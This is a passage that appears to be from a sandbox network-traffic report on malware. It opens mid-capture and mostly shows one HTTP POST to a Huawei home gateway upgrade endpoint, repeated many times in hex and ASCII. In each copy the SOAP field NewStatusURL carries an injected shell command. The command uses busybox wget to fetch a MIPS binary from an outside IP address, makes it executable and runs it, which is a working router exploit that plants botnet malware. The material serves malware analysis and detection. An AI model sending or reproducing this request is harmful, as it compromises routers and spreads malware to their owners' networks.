53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:47.044349909 CET	1759	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:18.272121906 CET	2606	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	34430	156.254.111.68	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:16.516129017 CET	922	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:18.120294094 CET	975	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:20.039994001 CET	1030	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:24.007464886 CET	1143	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:31.686537027 CET	1344	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:47.044349909 CET	1759	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:18.272121906 CET	2606	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

